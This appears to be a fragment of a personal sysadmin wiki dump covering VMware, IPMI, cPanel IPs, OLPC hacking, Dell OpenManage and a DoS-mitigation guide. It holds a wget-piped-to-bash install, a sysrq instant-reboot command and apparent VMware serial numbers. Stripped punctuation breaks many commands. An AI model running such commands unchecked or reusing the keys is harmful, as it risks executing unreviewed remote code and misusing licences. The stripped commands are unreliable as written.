printed documentation from the original ultima iv box history txt contains the the history of britannia a general introduction to the world of ultima iv wisdom txt contains the book of mystic wisdom which explains the system of magic and provides descriptions of the spells and reagents pdf versions of these books may be available from an image of the cloth map from the original ultima iv box can be found at either of these sites http www dengler net xedragon hrump debug mode cheats ------------------- xu4 has a very useful debug mode you can also think of it as a cheat mode to enable it go from the xu4 main menu to configure - gameplay options - advanced options - debug mode cheats cheat list ctrl-c h cheat menu help ctrl-d destroy monster object ctrl-h teleport to lord british british\'s throne room ctrl-v switch between 3-d and 2-d view; dungeons only f1-f8 teleport to a dungeon entrance; surface only f9-f11 teleport to the altar room of truth love courage; surface only f12 display torch duration escape end combat; combat only note except for the escape key none of the cheats work during combat misc ---- see for some other interesting ultima iv related links please send me a mail at andrewtaylor users sourceforge net if you are interested in helping '),(111,'vmware server 2 0',' vmware server 2 0 beta 2 is out and so here are a few notes on it the management interface is now web based i am interested in checking this out and so will be installing it and making notes of what i find here make sure you are using the latest build they expire and if you are running an old build vms may not run and no notice is given other than log file entires saying the build has expired firefox plugin issues firefox plugin issues firefox plugin issues wow - getting the remote console plugin for firefox working is nightmarish of course this is pretty much essential so you can console your vms the other option is to install the infrastructure manager on a windows box and use that to access and control the vms - pretty ridiculous and no it won\'t run locally under wine and even if you do get the console plug in working in firefox - be prepared the web ui is painfully slow to the point to ridiculousness vmware really needs to address these issues or people are going to hate this product what i encounted the plugin not installing it being incompatible with firefox 3 0 1 despite the latest vmware build having fixed this the plugin not loading correctly and giving you don\'t have permission to access the console messages and the console screen and web ui in generally often taken 1 - 2 minutes to load amazing awful interface but you most likely need to make it work  plugin not compatible with firefox 3 0 1  use the nightly build tester plugin to force the vmware plugin to install however this will make the plugin files unexecutable so they you have to chmod u x them as in other possible fix one fix for the firfox plug in issue from wget ld_preload path to gtk_message_dialog_set_image-stub_x64 so firefox run firfox and the plugin should now work rip it out rip it out rip it out if you have to completely remove the rpm don\'t also forget to remove the etc vmware directory and the vmware directories from root and the home user folders also ensure any plugins are removed from firefox and ensure there are no vestigages of them left in home user mozilla firefox ss3djvw4 default extensions vmware server 2 0 beta 2 vmware server 2 0 beta 2 vmware server 2 0 beta 2 registered as peby-4t-sagonet-dot-c0m serial number for windows 98df1-rdx4k-k5qdh-4rnjt serial number for linux 9axf4-r69d2-jeq4n-4h4jr wget user user\'s guide '),(112,'image magick tricks',' image magick is a collection of linux command line utilities which allows you to do a wide variety of image manipulation functions from the shell some of the tricks you can pull off with this little gem are pretty impressive and being familiar with some of the more common functions can come in quite handy here are a few good sites on image magick tools this on has some interesting text overlays and uses of the effects filters '),(113,'standard streams','  some general information on input streams and redirection   stopping console standard error  to suppress all standard error messages from being directed to the console you can use ehco \'1 4 1 7\' proc sys kernel printk cat proc sys kernel printk alternative to try echo \'kernel printk 1 4 1 7\' etc ssyctl conf this file usually has 4 4 1 7 values by defult and requires a reboot man sysctl conf and man sysctl have more info  sysrq to stop logging   from kyle press sys-rq key and then 0 or 1 there is a file in proc that you can echo stuff to that is like pressing those buttons proc sysrq-trigger so echo 0 proc sysrq-trigger will turn off the crap on the screen echo b proc sysrq-trigger - instant reboot '),(114,'reading list',' books i am interested in non-fiction non-fiction non-fiction  computer architecture from microprocessors to supercomputers  oxford series in electrical and computer engineering isbn-13 978-0195154559  computer architecture a quantitative approach 4th edition  isbn-13 978-0123704900  valgrind 3 3 u8e28094 advanced debugging and profiling for gnu linux applications  isbn 0-9546120-5-1 isbn-13 978-0-9546120-5-4  the art of debugging with gdb ddd and eclipse paperback   this one looks really good isbn-13 978-1593271749  an introduction to gcc purchased it   by brian j gough foreword by richard m stallman isbn 0-9541617-9-3 isbn-13 978-0-9541617-9-8  assembly language step-by-step programming with linux paperback   isbn-13 978-0470497029  reversing secrets of reverse engineering paperback   isbn-13 978-0764574818  the shellcoder shellcoder\'s handbook discovering and exploiting security holes paperback   isbn-13 978-0470080238  perl by example 3rd edition  ellie quigley isbn 0-13-028251-0  unix shells by example 4th edition  ellie quigley isbn 0-13-147572-x  tcp ip illustrated volume 1 the protocols  w richard stevens addison wesley isbn 0201633469  computer systems a programmers perspective  cpu architecture compiler loaders linker memory addressing etc hardcover 1304 pages publisher prentice hall; us ed edition august 23 2002 language english isbn-10 013034074x isbn-13 978-0130340740  network warrior  paperback 598 pages publisher o\'reilly media inc ; first edition june 21 2007 language english isbn-10 0596101511 isbn-13 978-0596101510  cisco asa pix firewall handbook  paperback 840 pages publisher cisco press; 1 edition june 7 2005 language english isbn-10 1587051583 isbn-13 978-1587051586  lan switch security  paperback 360 pages publisher cisco press; 1 edition september 16 2007 language english isbn-10 1587052563 isbn-13 978-1587052569 math for mystics from the fibonacci sequence to luna luna\'s labyrinth to the golden section and other secrets of sacred geometry by renna shesso paperback - april 2007 the golden ratio the story of phi the world world\'s most astonishing number by mario livio fiction fiction fiction breaking dawn the twilight saga book 4 hardcover by stephenie meyer author '),(115,'cisco firewall configuration',' pix firewalls and dos attacks dos attacks are a real pain in the ass i am starting to research how to utilize cisco pix asa appliances to configure and deploy on an as-needed basis to assist in mitigating dos ddos attacks against specific systems at work i commonly see a customers dedicated server rack under dos attacks which essentially cripple them this project focuses on configuring a cisco pix placed in front of the attacked systems to mitigate the attack as much as possible allowing valid traffic to continue to pass through while blocking the bogus traffic etc i am using a pix with os version 6 3 as that is the latest that will run on the hardware i am using in this lab other features are available in later versions however this should allow for basic syn flood and other common dos attack methods i will be looking in to various fix up acl flood guard and timeout settings and noting what effect these have on dos attack mitigation my plan is to set up a lab where i will dos a server make some pix config changes and view the effectiveness of those changes general documentation & references general documentation & references general documentation & references pix ver 6 3 documentation using fixup for protocol inspection sample config of using a pix firewall in front of a private router and lan a variety of sample solutions and condigs '),(116,'time and chaos',' how to migrate from time and chaos 7 to sugarcrm if you need to get t&c to work with it the application can be downloaded from you can install it for 30 days for free after which it appears to still function but with an annoying pop up every few minutes note you can install t&c under wine in linux and it runs fine exporting the databases 1 open the database 2 go to reports and generate a report to select all the data you wish to export first you can select the fields columns you want to include then select the criteria to search for to select all records use an expression that is not in the database for example search for last name contains or something that will yield all records 3 preview the data and ensure all records have been selected with all desired fields verify row count is equal to total records at the bottom on the report screen 4 export the data with file -- export to csv etc 5 be patient t&c is extremely slow to get a summary of the first csv file row containing field names you can just use #head -1 export_data csv to make this a bit of readable put it in a column form to analyze #cat mkdatahead tr \' \' \' n\' export_data_fields  useful resources on importing data into sugar   '),(117,'initramfs and early user space','  initramfs & early user-space  the 2 6 kernel uses initramfs which is a newer method from initrd and allows for the use of early-userspace initramfs is itself a cpio archive here are some site that discuss this further early-userspace is the term used to describe the intramfs capability of kernel 2 6 kernel 2 6 has the ability to mount a ram filesystem populated by a special initrd image or an image compiled into the kernel idms linux also supports this rather interesting kernel boot config autoconfig xyz auto configuration of network and system here is an example not all items are required device eth0 module e1000 ip 192 168 1 1 netmask 255 255 255 0 gw 192 168 1 254 nameserver 192 168 1 254 root mypass emergency drop to emergency preboot environment before loading hardware controller modules or doing any scans a diskless cluster system called hopeless also briefly mentions initramfs it it\'s function and use  references  '),(118,'adding ips in cpanel','  ip theft disclaimer   all  use of additional ips must be requested and provisioned if you use any ips outside the ones originally provisioned it will be treated as abusive activity ip spoofing and we may suspend your service if you need addition ips provisioned simply contact us  if you need to add ips to your cpanel server you can do so within cpanel itself however this often does not work this seems especially true if the ips are on a different subnet they do not work correctly when added via cpanel however the matter is pretty easy to fix cpanel method cpanel method cpanel method you can try adding ips in cpanel first if they do not work just remove them and use the manual method below to add them in cpanel just goto the add and ip section in the left hand column and enter them via the cpanel interface to test them simply ping the address es you added if you get a response it worked if they don\'t ping time to delete them in cpanel and move on to note when adding ips in cpanel no range files as made below are created the added ips are put into etc ips and the script etc init d ipaliases runs to configure these ips this script must run at startup to initiate these ips however this method especially if using various blocks of ips with different network masks often creates conflicts and you may get ips that don\'t work correctly hence the next section manual method manual method manual method to overcome the above you can just manually create the files which hold information on the ips assigned to the server this is easy to do 0 remove any additional ips you have added in cpanel 1 log into your cpanel server via ssh as root if you are using windows you will need an ssh client such as putty 2 the examples below are for centos if using another distribution the config file name and location as well the exact changes will be somewhat different - but the overall theory is the same your disto disto\'s documentation should tell you where to find the the necessary files 4 goto where the ip config files are stored root myserver # cd etc sysconfig network-scripts each interface has one primary configuration file called for example ifcfg-eth0 each interface can then have numerous additional config files to specify each additional  range  of ips these are called ifcfg-eth0-range0 or ifcfg-eth0-range1 ifcfg-eth0-range2 etc each file might hold a block of anywhere from 2 to 10 ips each block goes into its own range file   these range files will actually create virtual interfaces you may have only one nic but if you have one basic and three range files set you you will see a total of four network devices eth0 0 eth0 1 eth0 2 and eth0 3  if you do not have a range file already you can simply create it - call it exactly  ifcfg-eth0-range0 to do so execute touch ifcfg-eth0-range0 next modify this file using vi or nano etc to be as follows device eth0 1 ----eth0 1 creates the virtual device this is the first additional ip range eth0 2 the next etc onboot yes bootproto static netmask 255 255 255 0 ----- your subnet info ipaddr_start 10 20 30 40 ---- your first additional ip ipaddr_end 10 20 30 50 ---- your last additional ip clonenum_start 0 ---- first file gets zero no typos this file must be perfect or it will not work note the device eth0 1 - this increments by one for each new range file range file ifcfg-eth0-range0 uses eth0 1 range file ifcfg-eth0-range1 uses eth0 2 etc the colnenum_start is where most people run into trouble unlike the device setting this does not increment by 1 each time it nees to be set to a value of number of ip addresses already assigned 1 if there are already range files existing you can run # ifconfig grep eth0 look at the last number add 1 to it and that is the colnenum_start for the next range file once you have added these to the range file save it and restart the networking service with service network restart notice any errors and if present edit the range file again to correct them you can execute ifconfig to see all the ethernet devices and the ips on each one when these look correct just ping them from a remote source and if you get responses you are done if you don\'t get a ping response and ifconfig appears to show them configured correctly verify you don\'t have any firewall rules blocking them '),(119,'olpc notes',' over clocking type 4c000014 and press type rdmsr and press type u and press a hex number will be displayed this is value h again type u and press type the value from above h then press next you must chose what to over or under clock and how much value cpu mem 4d9 433 166 ---- olpc baseline 4dd 500 166 4df 533 166 4e1 566 166 5db 466 200 5dd 500 200 5df 533 200 5e1 566 200 659 433 216 65b 466 216 65d 500 216 65f 533 216 661 566 216 6db 466 233 6dd 500 233 6df 533 233 6e1 566 233 try running memtest to see performance and cat proc cpu will show modified cpu freq kernel building kernel building kernel building general guide for using git to get sources and build the fuse kernel module however it it missing a few steps apt-get install git-core #correctpackage git alone is something else apt-get install gcc make #need these too apt-get install libncurses5-dev #for running menuconfig root olpc media olpcmtd0 versions pristine 703 boot# cp config-2 6 22-20080312 2 olpc f3687aa7e09fd65 root olpc-2 6 config  git source tree   root olpc root olpc-2 6# uname -a linux olpc 2 6 22-20080312 2 olpc f3687aa7e09fd65 #1 preempt wed mar 12 21 25 06 edt 2008 i586 gnu linux git clone git dev laptop org olpc-2 6 cd olpc-2 6 git reset f3687aa7e09fd65  error with fuse module   root olpc root olpc-2 6# insmod fs fuse fuse ko insmod error inserting \'fs fuse fuse ko\' -1 invalid module format dmesg 50054 010302 fuse version magic \'2 6 26 preempt mod_unload modversions geode 4kstacks \' should be \'2 6 22-20080312 2 olpc f3687aa7e09fd65 preempt mod_unload geode 4kstacks \' xfce on fedora xfce on fedora xfce on fedora installing ubuntu installing ubuntu installing ubuntu hardy install from compressed files linux mint 6 linux mint 6 linux mint 6 wow lots of fun i did a full install of mint to the sd card then then rsynced over boot lib modules lib firware and security as per you need a developer key to put in security also i found just using the boot olpc fth from the default worked better than trying to use an sd specific version just rsync the old on over with boot and it should work make sure you are running an olpc-3 or greater build wherein the upstart bug has been fixed otherwise init tries to run as pid 1 and this will hang this appears to have been fixed so if you run an olpc-update 802 for example and are upgraded to a recent build this should be circumvented the other option is to install sysvinit in the working ubuntu install prior to attempting to boot it on the olpc note of which is buried deep in the page of also i had to use the right check button to get mine to boot other wise it hangs before loading the kernel at all if your xo freezes when booting ubuntu try holding down the \'tick\' button the right most game key as you switch it on that turns off pretty boot this is not necessary if \'unfreeze\' appears in your olpc fth developer keys developer keys developer keys using a developer key allows you to interrupt the boot process to get to a firmware prompt to choose what media to boot to it also allows for the installation of non cryptographically signed kernels other oses etc misc olpc sites '),(120,'rip recovery is possible linux',' main site & documentation main site & documentation main site & documentation remastering rip remastering rip remastering rip from the main documentation above q is it possible to change something on the system a you can remaster riplinux # mkdir rip1 rip2 # mount -o loop riplinux-6 0 iso rip1 # cp -a rip1 rip2 # umount rip1 ; rmdir rip1 # mkdir rip2 boot 1 # cd rip2 boot 1 rip2 boot 1# gzip -dc rootfs cgz cpio -iumdv make the changes and remove the old system rip2 boot 1# rm rootfs cgz then cpio gzip the new system rip2 boot 1# find bin cpio -v -o -h newc gzip -9 rootfs cgz use the riplinux \'bin cpio\' here # rm -rf rip2 boot 1 # mkdir rip-iso # cd rip2 rip2# sh boot mkiso sh rip-iso rip iso note if you want to use grub as the bootloader do this rip2# sh boot mkiso sh grub rip-iso rip iso the default is to use isolinux as the bootloader write rip-iso rip iso to a cd you can now delete the rip2 directory # rm -rf rip2 '),(121,'ipmi configuration and monitoring',' ipmi remote management did you know our new dells essentially have a built in text based kvm over ip intelligent platform monitoring interface allow you to manage a server remotely the ipmi services are controlled by a separate on board controlled usually referred to as a baseboard management console bmc there is no requirement for there to be an os on the server to access ipmi features if an os is present you can still connect regardless of the stats of the os even if the os has kernel paniced or is completely locked up or unresponsive this is accomplished via a separate dedicated service process independent of the cpu ipmi provides two primary methods of access first is a simple shell interface by running a local client impitools you can remotely access a shell interface on the server there is a hierarchical menu system of available commands you can power cycle the system select the boot device and view error logs ipmi can also use serial over lan sol to redirect console output over the network this provides text based access over the network the great thing here is you have complete system access to bios raid configuration and if the os is configured it as well you can console the server from miles away reboot it enter bios etc most new servers support ipmi though it is often not uses a main reason is that configuring it is not intuitive however the steps on our dells fairly straight forward and you once you do it once you can easily set this up in a few minutes we can set this up for customers who need a kvm over ip type solution on linux boxes only on an as needed basis it would require having ipmi on the nic 1 you configure ipmi with one ip and configure the os to have the other both ips are using the same physical ethernet cable the customer can connect to one ip with ssh and to the other with impitools ipmi configuration ipmi configuration ipmi configuration setting up ipmi requires configuring the bmc fireware in bios and also modifying two os files  setup ipmi  example using dell 1950s 1 enter bmc config from post usually ctrl-e and the bmc prompt 2 lan paramaters -- set the ip subnet mask gateway or set for dhcp and configure vlan information 3 lan user configuration -- set up a user name and password to connect with you can also set the account name and privilege level 4 connect the lan cable to interface 0 you can also set up separate ipmi user enable encryption etc here  testing ipmi  first ping the bmc ip you don\'t need to set any ip on the os or even have hard drives in it - you are pinging the internal ipmi interface it has its own internal nic in addition to the two external nics  note   sometimes you don\'t get ping responses on this - if not try to connect using the following command anyway if that works try connecting using impitools apt-get install impitools to the shell interface ipmitool -i lan -h 192 168 42 x -u login shell you can enter different modes in the shell to get information execute remote reboots etc use for a full menu each command when entered alone will give its options etc  configure sol  with ipmi version 2 0 you have something similar to a built in text kvm over ip it is serial over lan sol ipmi will redirect console output to the lan and forward that over the network it is text only but provides bios level access raid configuration booting other kernels booting to single user mode etc all done remotely 1 reboot and go into regular bios setup f2 enter the serial communication menu and set up set serial communication to on with console redirection via com2 mandatory set remote terminal type to vt100 vt220 set redirection after boot to enabled 2 configure the os to direct boot messages and console messages to be redirected via sol a modify etc inittab and add t0 23 respawn sbin getty -l ttys1 57600 vt100 b append this boot option to the kernel line in etc grub menu1 st console tty0 console ttys1 57600 for example the full kernel line might be like kernel vmlinuz-2 6 18-92 1 6 el5 ro root dev volgroup00 logvol00 console tty0 console ttys1 57600 note the option listed last - console ttys1 115200 in this case - is the primary output device impi commands impi commands impi commands ipmitool and openimpi are two toolset you can use to access an ipmi enabled device support support-desktop ipmitool -u root -h 192 168 42 100 shell starts an interactive impi shell session support support-desktop ipmitool -vv -i lanplus -u root -h 192 168 42 101 sol activate starts a sol session if configured console output will be redirected over lan to remote impi client console a server remotely add -vv for verbose packet analyze support support-desktop ipmitool -i lan -u root -h 192 168 42 100 -a user list view all sensor information ipmitool sdr temp 40 degrees c ok temp 41 degrees c ok ambient temp 30 degrees c ok planar temp 37 degrees c ok riser temp 39 degrees c ok temp 40 degrees c ok cmos battery 3 08 volts ok and much more and what do those yellow blinking lights on dells mean ipmitool sel list 1 04 19 2005 09 20 58 event logging disabled #0x51 log area reset cleared asserted 2 05 18 2005 08 40 44 physical security #0x52 general chassis intrusion asserted 3 05 19 2005 06 07 23 physical security #0x52 general chassis intrusion deasserted 2f 01 20 2006 19 08 02 temperature #0x03 upper non-critical going high 30 01 20 2006 19 08 47 temperature #0x03 upper non-critical going high 9d 11 07 2007 16 43 39 slot connector #0x01 fault status asserted more ipmi commands are at dell 1850s dell 1850s dell 1850s the above steps for basic ipmi setup and using the ipmi shell work on the dell 1850s the bios and bmc configuration is slightly different note that sol does not appear to work and the latest bmc firmware ver 1 73 only supports ipmi ver 1 5 however you can still use the shell view system logs sensors etc bios console redirection -- serial port1 integrated devices -- bmc nic there are options listed in the shell for setting up sol using ver 1 5 but they do not seem to work additional information additional information additional information i found this site to be particularly helpful in setting ipmi up the following is from ipmi is now configured correctly you should be able to ping the ipmi ip addresses ping 10 0 99 x now you may for instance reboot a node using the following line replace cycle with status to see the status off to shutdown on to start ipmitool -i lan -h 10 0 99 x -u login -p passwd chassis power cycle now we need to configure console redirection it makes it possible to send the bios grub and ttys1 output through ipmi on the network on the first network interface note that com2 ttys1 is mandatory it may not be com1 ttys0 instead after booting press f2 to enter the bios go in the serial communication menu set serial communication to on with console redirection via com2 set remote terminal type to vt100 vt220 set redirection after boot to enabled with this configuration you should see the bios and grub output remotely using ipmitool -i lanplus -h 10 0 99 x -u login -p password sol activate then we want to see the kernel booting remotely this is done by adding the following to the kernel command line with grub you might want to add it to # kopt and then run update-grub to update all automatic entries console ttys1 57600 console tty0 and finally you might want to get a console login remotely through ipmi to do so add the following line to etc inittab t0 23 respawn sbin getty -l ttys1 57600 vt100 with all this setup the above ipmitool sol activate line will display the same thing than the physical console on the machine which makes it very nice to configure the bios change the kernel debug note that is the control character when using the console redirection and may be used to leave the console also ipmitool sol deactivate may help if somebody did not leave the console correctly  dell 1950 test notes   boot grub menu1 st kernel vmlinuz-2 6 18-92 1 6 el5 ro root dev volgroup00 logvol00 console tty0 console ttys1 115200 etc inittab t0 23 respawn sbin agetty -l ttys1 57600 vt100 s0 2345 respawn sbin agetty ttys1 1 57600 vt100-nav dell dell\'s rh 5 1 impi update tools package yum install openipmi openipmi-devel -tools -libs additional testing info additional testing info additional testing info impitool -i open channel info if you run ipmitool and get an error the device is not available modprobe ipmi_msghandler modprobe ipmi_devintf modprobe ipmi_kcs_drv modprobe ipmi_kcs_drv lsmod you can get dell versions of openipmi at or the sourceforge versions at  references  info on setting up sol and ipmi on dell servers ipmi tools on red hat systems info on secure remote access proxy ideas http openipmi sourceforge net openipmi project '),(122,'ccna test preparation','  subnetting   good subnetting review same thing as 256-mask increment subnettting videos web based subnet practice '),(123,'torrentflux',' new version of torrentflux b4rt edition includes upgrade instruction from earlier tf versions script to test compatibility is referenced at but is not there perhaps in the regular download gz tar current version wget '),(124,'stopping dos attacks',' dos attacks any server can be the recipient of a dos denial of service attack if you have any services running ftp http etc these can be attacked the idea is to tie up the server by making it respond endlessly or cause buffer overflows or through injection etc to cause the server or its services to become unavailable thus service is denied unfortunately dos and distributed dos ddos attacks are incredibly simple to execute a simple ping if run from enough attacking computers can bring down a server easily one of the more common types of attacks centers around making a single attacking system open hundreds or thousands of tcp connections another method is to open many web pages continuously now multiply this by several attacking computers a ddos and your sites are not coming up moving to another ip provider moving to another ip provider moving to another ip provider often people mistakenly think moving their server to a new ip range or even to another hosting provider will stop the dos attack this is often just not the case at all moving these sites to another ip address provider will likely not help you as http attacks are directed against urls so wherever they are hosted they will be attacked you will have to take the same measures regardless of where they are hosted this is a problem with your sites being attacked not with the network the sites are on this is why providers will not simply give out new ips when servers are being attacked am i being dosed am i being dosed am i being dosed here are some simple ways to tell the first obvious sign is your sites are either not coming up at all or are extremely slow loading let let\'s check it out first log into the sago customer portal site at portal sagonet com you can list all your devices and pull up information of each one including a bandwidth graph adjust the time frame to be for a day or hour view some attacks will cause an inbound flood of traffic others such as requesting gargantuan quantities of web pages will show high outbound traffic if you see a significant spike in either direction far out of proportion to your normal traffic that is a good indication you are being dosed next ssh into your server if you are completely unfamiliar working in the shell this is a great time to learn there are many shell commands to run to collect network status and connection information here are merely a few to start with root host # netstat -plan grep 80 awk \'print 5\' cut -d -f 1 sort uniq -c sort -nk 1 this will show a summarization of connections per ip if you see an ip with more than 20 connections be suspicious also you can list all network connections with something like root host #netstat -natlp you can see what ports are being connected to the number and types of connections etc google and you will find many tutorials on using netstat and tcpdump to analyze network traffic another great tool is the iptraf program you can install it with yum install iptraf and analyze the results how to mitigate dos attacks how to mitigate dos attacks how to mitigate dos attacks notice the word mitigate meaning lessen not stop you are unlikely to be able to stop the attack it normally ends when the attacker stops it what you can do is take steps to lessen the effect and impact on your server if you lessen the impact enough your services web pages should be up though maybe a bit slower than normal there are many types of attakcs and this is not a detailed analysis of how attacks work on the network level but rather presents some tools to stop the most common attack types  mitigation tools   apf   if you don\'t already have apf advanced policy firewall installed that is a great place to start see the kb guide on advanced_policy_firewall apf contains a feature called reactive address blocking rab to help stop attacks from ips which demonstrate malicious activities this is configured in etc apf conf apf or where ever your apf config is at there is a lot you can do here and this is a powerful tool to start with read up on it and you just started fighting back let let\'s say you see from the netstat commands above a few ips with hundreds of connections you can drop them by root host # apf -d 85 186 92 4 iptables no chain target match by that name iptables no chain target match by that name inserted into firewall deny all to from 85 186 92 4 if you later want to remove the block on that ip root host # apf -u 85 186 92 4 removed 85 186 92 4 from trust system this is only the tip of the apf iceberg - just to get you started see the apf documentation for full information but this simple step alone can stop a lot of attacks with nothing more to automate the monitoring and blocking of abusive connections see the next step  dos deflate script  new if you have apf installed as above there is a great script that will run a check every minute and calculate the number of connections per ip any ip with greater than 150 connections by default will be added to to the block list in apf this is extremely easy to install just install apf and then install the dos deflate script with wget chmod 0700 install sh install sh note this will install a cron job to run every minute which will run a script to analyze and block connections the tool is installed in root tardis # cd usr local ddos root tardis ddos # ls license ddos conf ddos sh ignore ip list and you can see there is a ddos conf file here - this is where you can adjust the maximum number of connections allowed per ip length to ban them for email notifications etc we suggest lower it to 75 connections per ip and increasing the block time to 30 or 1800 seconds you can white list ips by adding them to ignore ip list uninstalling remove by running the uninstall script wget testing note do not test unless you have access to your server from another ip or you will just lock yourself out until the timeout expires default is 10 min you can simulate a dos attack on your server by using the apache benchmark tool this will let you open hundreds or thousands of connections to your server thus triggering the anti-dos script to block you run the test by running ab from another server with your server to dos at the target archimedes anduril ab -n 500 -c 5 somedomain com this will request 500 individual pages run one or more times now get back on your server and run this command to see all the open connections you just created root tardis ddos # netstat -ntu awk \' print 5 \' cut -d -f1 sort uniq -c sort -n 1 address 1 servers 30 72 184 142 161 1001 66 118 128 10 you should see a ton of connections coming from your ip congratulations you just dosed yourself now wait and within 1 minute you will loose your connection to your server when the script runs and blocks you out wait 10 or connect from another ip removing a blocked ip using apf root tardis # apf -u 66 140 128 20 apf 26902 trust removed deny all to from 66 140 128 20 you can view all the ips being blocked with apf using the -l to list all rules currently in force apf - will give other options becoming fluent with apf and dos deflate can greatly assist you in combating some forms of dos attacks it is well worth the time to learn how to use these tools  apache tools   there are several apache modules you can use to help mitigate dos attacks here are some to look into 1 mod evasive and mod security are both excellent apache tools to use to clarify mod secure does not itself really help against ddos attacks that is not what it does mod evasive can however help mode secure can be used together with other tools however if you have cpanel these modules are easily installed through whm 3 use other existing apache tools and modules to help mitigate abusive traffic for example has a cvs containing many useful modules for apache security including httpd-guardian with can help with ddos and abusive connection traffic 4 yet another possible tool to try is  the simple solution  another track you can take on all this is to simply identify the site s which are the target of the attack and simply cancel them if it is only one or two sites then removing them and any dns reference to your ip could likely resolve the entire situation why have all your customer suffer because of one site being attacked of course identify first the correct site and ensure it is an http attack against that site and not your ip etc first but if you find that a certain site is always being attacked - perhaps it is time to exile them from the village advanced tools advanced tools advanced tools the above tools are what we most commonly use to combat dos attacks these are all freely available tools you can use to fight against attacks these are typically very effective it takes some time to learn them but once done you can easily apply them to all your servers there are also firewall appliances which you can look at purchasing these are usually several thousand dollars though and require skill in their configuration and use we suggest using the free tools covered above and becoming well skilled with them as a good place to start we do offer advanced network support billed at 60 an hour where we can analyze the traffic and apply the above tools however there is no guarantee we can stop every attack - they require individual and customized responses and can be quite time consuming to combat conclusion conclusion conclusion there are a number of different methods to identify and block abusive traffic the tools listed here will go a long way to putting you back on top if implemented fully as your provider we want you to have excellent service and of course want your sites to be up however dealing with attacks is the domain of the server administrator and unless we manage your server this falls outside the bounds of what we generally can do for you if you are interested in obtaining a management package your account manager can assist you with the levels of management available please also understand that there is no simple one-click fix that will resolve abusive traffic it takes detailed analysis of the situation and then implementing the right tools monitoring the results and adjusting as needed '),(125,'data recovery specialists',' '),(126,'dell openmanage server administrator',' openmanage server admin easy to install web interface that gives all kinds of sever status information this can easily be installed on rhel centos and suse dell servers if using ubuntu this article may help there is also a windows version available for full info see the user guide reports installed memory available memory slots hardware specs remote os shutdown and reboot hardware error event log viewing setup snmp traps for alerts scripts to run raid configuration drive failure warning status impi configuration etc note per the dell linux raid site the perc 5 sas raid adapters cannot use the same lsi management tools as their scsi raid counterparts perc 4 and earlier instead use the new lsi sas raid tools megacli megaraid storage manager megaraid sas snmp moritz mertinkat has created a perc 5 i megacli cheat sheet which provides useful instructions for managing this controller via the command line tool note the cheat sheet contains a walk through on using megaraid to replace a failed drive much newer versions of the megaraid utility can be found at the lsi site for example here also note that you can manage the sas raid using the openmanager software  yum repo setup & install  dell has a yum repo which makes installing and updating openmanager very easy you may first want to remove any existing version using opt dell srvadmin sbin srvadmin-uninstall sh or yum erase rpm -qa grep srvadmin now set up the repo and install the latest version with wget -q -o - bash yum install srvadmin-all yum install httpd etc init d httpd start opt dell srvadmin sbin srvadmin-services sh start stop restart status  optional firmware tools  there are some handy utilities for updating your bios raid controller and storage array firmwares there is a command line and a gui version they will show your current versions and if any updates are available these tools can also be installed from the yum repo yum install dell_ft_install inventory_firmware update_firmware --yes to upgrade inventory_firmware_gui #gui version  starting and verifying  openmanage services and files are installed to opt dell sbin srvadmin srvadmin-services sh status srvadmin-services sh start dsm_om_connsvc start netstat -tuple you should see the openmagage server running on port 1311  connecting to web interface  point a browser to htts serverip 1311 ensure this port is open in firewall accept the certificate log in with an account that has been setup with permissions to use open manager see note on authentication below  ipmi settings  system -- main system chassis -- remote access the configure tab at the top allows you set set ipmi ip address ipmi users etc troubleshooting troubleshooting troubleshooting if the web interface does not load ensure you have loaded all the kernel modules you may also need ipmi_msghandler try restarting the various services etc init d dataeng restart etc init d dsm_om_connsvc restart srvadmin-services sh restart etc init d httpd restart ensure se linux is disabled and port 1311 is open in the firewall  authentication  non-root users will be logged in as a regular openmanage user users in the group root will be \'power users in open manage to have full admin access log in as root or with a uid that uses roots id note your access level is displayed in the upper right corner of the openmanage web page note you must have admin rights for some options such as raid and volume management to be displayed references references references  openmanage documentation and guides  '),(127,'multiple x servers',' handy quick commands for running multiple x servers very useful if you want to run different desktops on separate vtys - say kde on vty7 gnome on vty8 and fluxbox etc or run two versions of kde etc note - while you can start these all as the same user you may run into issues with some features on the subsequent sessions not being available one option is just start each on as a separate user  hints  modify etc x11 xwrapper and change to everyone to allow you to start x servers from within x else you will need to start them from a vty try something like this user host startx && startkde - 1 vt8 2 dev null & if running in a terminal program in x surround with to prevent it closing if you terminate the terminal that started it  fancy method  a guy wrote a very clever script to automate the process i believe this was written for ubuntu however you should be able to modify it easily for other distros - it ran near perfectly under suse 10 3 for me note you must have dialog installed from your package manager as this uses the curses dialog gui bodhi bodhi\'s virtualx script # bin sh # variables # widowmanager desktop window manager # tempfile1 tempfile1 ################################################## ########################### ## default screen ## ################################################## ########################### # gdm starts at boot on screen 0 # fluxbox 1 # gnome 2 # icewm 3 # kde 4 # openbox 5 # xfce 6 ################################################## ########################### ## select desktop window manager ## ################################################## ########################### dialog --backtitle welcome to bodhi bodhi\'s virtual x script --title desktop environment --menu please select a desktop environment 13 175 7 fluxbox fluxbuntu gnome ubuntu icewm kde kubuntu openbox xfce xubuntu 2 tempfile1 return_value windowmanager cat tempfile1 case return_value in 0 rm tempfile1 & rm windowmanager clear echo -e \' e 32m\' bodhi zazen tput sgr0 case windowmanager in fluxbox # start xsreensaver & numlockx display 1 0 usr bin xscreensaver & display 1 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox #display 1 0 rox --pinboard default & exec usr bin startx usr bin fluxbox -- 1 2 dev null & exit ;; gnome # start xsreensaver & numlockx display 2 0 usr bin xscreensaver & display 2 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start gnome usr bin startx usr bin gnome-session -- 2 2 dev null & exit ;; kde # start xsreensaver & numlockx display 3 0 usr bin xscreensaver & display 3 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start kde usr bin startx -- 3 2 dev null & exit ;; icewm # start xsreensaver & numlockx display 4 0 usr bin xscreensaver & display 4 0 usr bin numlockx on & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox # rox --pinboard default & # start icewm exec usr bin startx usr bin icewm-session -- 4 2 dev null & exit ;; openbox # start xsreensaver & numlockx display 5 0 usr bin xscreensaver & display 5 0 usr bin numlockx on & # to set background image uncomment the following lines and set the path to an image # display 5 0 fbsetbg -f home picture jpg & # play a sound # use a cli player # example # sleep -3 & mpg321 -a hw 1 0 path sound mp3 & # start rox rox does not work so well with openbox # rox --pinboard default & # start openbox exec 